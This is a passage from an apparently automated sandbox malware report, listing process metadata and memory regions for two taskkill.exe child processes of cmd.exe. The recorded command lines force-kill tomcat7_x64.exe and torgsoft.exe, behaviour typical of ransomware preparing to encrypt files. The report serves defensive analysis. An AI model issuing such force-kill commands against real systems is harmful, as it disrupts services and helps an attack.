  • Region Actions
pagefile_0x0000000000090000 0x00090000 0x00093fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000000a0000 0x000a0000 0x000a0fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x000b0000 0x00116fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000120000 0x00120000 0x00126fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000130000 0x00130000 0x00131fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00140000 0x00143fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000150000 0x00150000 0x00150fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000160000 0x00160000 0x00160fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000170000 0x00170000 0x00170fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000180000 0x00180000 0x00180fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000001b0000 0x001b0000 0x001effff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000001f0000 0x001f0000 0x00377fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000003e0000 0x003e0000 0x0045ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000460000 0x00460000 0x005e0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000600000 0x00600000 0x0063ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000650000 0x00650000 0x0074ffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x00750000 0x0080ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000840000 0x00840000 0x0087ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000008a0000 0x008a0000 0x008dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000990000 0x00990000 0x009cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000009d0000 0x009d0000 0x00acffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x00b50000 0x00b65fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000b70000 0x00b70000 0x01f6ffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001fa0000 0x01fa0000 0x01fdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002030000 0x02030000 0x0206ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002080000 0x02080000 0x020bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000020e0000 0x020e0000 0x0211ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002160000 0x02160000 0x0219ffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x021a0000 0x0246efff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002520000 0x02520000 0x0255ffff Private Memory Readable, Writable True False False
  • Region Actions
dbghelp.dll 0x6a520000 0x6a60afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
fastprox.dll 0x6a880000 0x6a915fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x74b70000 0x74bcbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdsapi.dll 0x74bd0000 0x74be7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x74bf0000 0x74bfefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x74c00000 0x74c28fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x74c30000 0x74c3efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x74c40000 0x74c49fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x74c50000 0x74c84fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x74c90000 0x74c98fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x74ca0000 0x74cb0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x74cc0000 0x74cccfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #39: taskkill.exe
+
Information Value
ID #39
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:34, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:01
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x61c
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 88C
0x 890
0x 6E4
0x 884
0x 678
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00070000 0x000d6fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000000e0000 0x000e0000 0x000e1fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000f0000 0x000f0000 0x0012ffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00130000 0x00133fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000140000 0x00140000 0x00140fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000150000 0x00150000 0x00150fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000160000 0x00160000 0x00160fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000170000 0x00170000 0x00170fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000001a0000 0x001a0000 0x001dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000200000 0x00200000 0x0023ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000260000 0x00260000 0x0029ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000002a0000 0x002a0000 0x002affff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x002b0000 0x0036ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000390000 0x00390000 0x003cffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x003d0000 0x003e5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x00000000003f0000 0x003f0000 0x00577fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000580000 0x00580000 0x005bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000005e0000 0x005e0000 0x0065ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000660000 0x00660000 0x007e0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000007f0000 0x007f0000 0x0082ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000850000 0x00850000 0x0094ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000950000 0x00950000 0x01d4ffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001dc0000 0x01dc0000 0x01dfffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001e00000 0x01e00000 0x01e3ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001e40000 0x01e40000 0x01e7ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001e90000 0x01e90000 0x01ecffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001ed0000 0x01ed0000 0x01fcffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x01fd0000 0x0229efff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000023b0000 0x023b0000 0x023effff Private Memory Readable, Writable True False False
  • Region Actions
fastprox.dll 0x6a570000 0x6a605fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a830000 0x6a91afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdsapi.dll 0x74b70000 0x74b87fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x74b90000 0x74b9efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x74ba0000 0x74bc8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x74bd0000 0x74c2bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x74c30000 0x74c39fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x74c40000 0x74c4efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x74c50000 0x74c58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x74c60000 0x74c70fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x74c80000 0x74c8cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x74c90000 0x74cc4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #40: taskkill.exe
+
Information Value
ID #40
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM torgsoft.exe /IM torgsoft.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:35, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:00
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x8e4
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 898
0x 8C4
0x 8A0
0x 89C
0x 834
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00080000 0x00083fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000090000 0x00090000 0x00090fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000a0000 0x000a0000 0x000a0fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000b0000 0x000b0000 0x000effff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x000f0000 0x00156fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000160000 0x00160000 0x00160fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000170000 0x00170000 0x00170fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000180000 0x00180000 0x001bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000001c0000 0x001c0000 0x001fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000240000 0x00240000 0x0027ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000002a0000 0x002a0000 0x002dffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x002e0000 0x0039ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000003f0000 0x003f0000 0x0042ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000440000 0x00440000 0x0044ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000450000 0x00450000 0x0048ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000004a0000 0x004a0000 0x0051ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000520000 0x00520000 0x006a7fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000006e0000 0x006e0000 0x007dffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000007e0000 0x007e0000 0x00960fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000009a0000 0x009a0000 0x009dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000a20000 0x00a20000 0x00a5ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000a70000 0x00a70000 0x00aaffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000ab0000 0x00ab0000 0x00baffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x00bb0000 0x00e7efff Memory Mapped File Readable False False False
  • Region Actions
taskkill.exe 0x00ec0000 0x00ed5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000ee0000 0x00ee0000 0x022dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000002300000 0x02300000 0x0233ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000023a0000 0x023a0000 0x023dffff Private Memory Readable, Writable True False False
  • Region Actions
dbghelp.dll 0x6a520000 0x6a60afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
fastprox.dll 0x6a880000 0x6a915fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x74b70000 0x74bcbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdsapi.dll 0x74bd0000 0x74be7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x74bf0000 0x74bfefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x74c00000 0x74c28fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x74c30000 0x74c3efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x74c40000 0x74c49fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x74c50000 0x74c84fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x74c90000 0x74c98fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x74ca0000 0x74cb0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x74cc0000 0x74cccfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
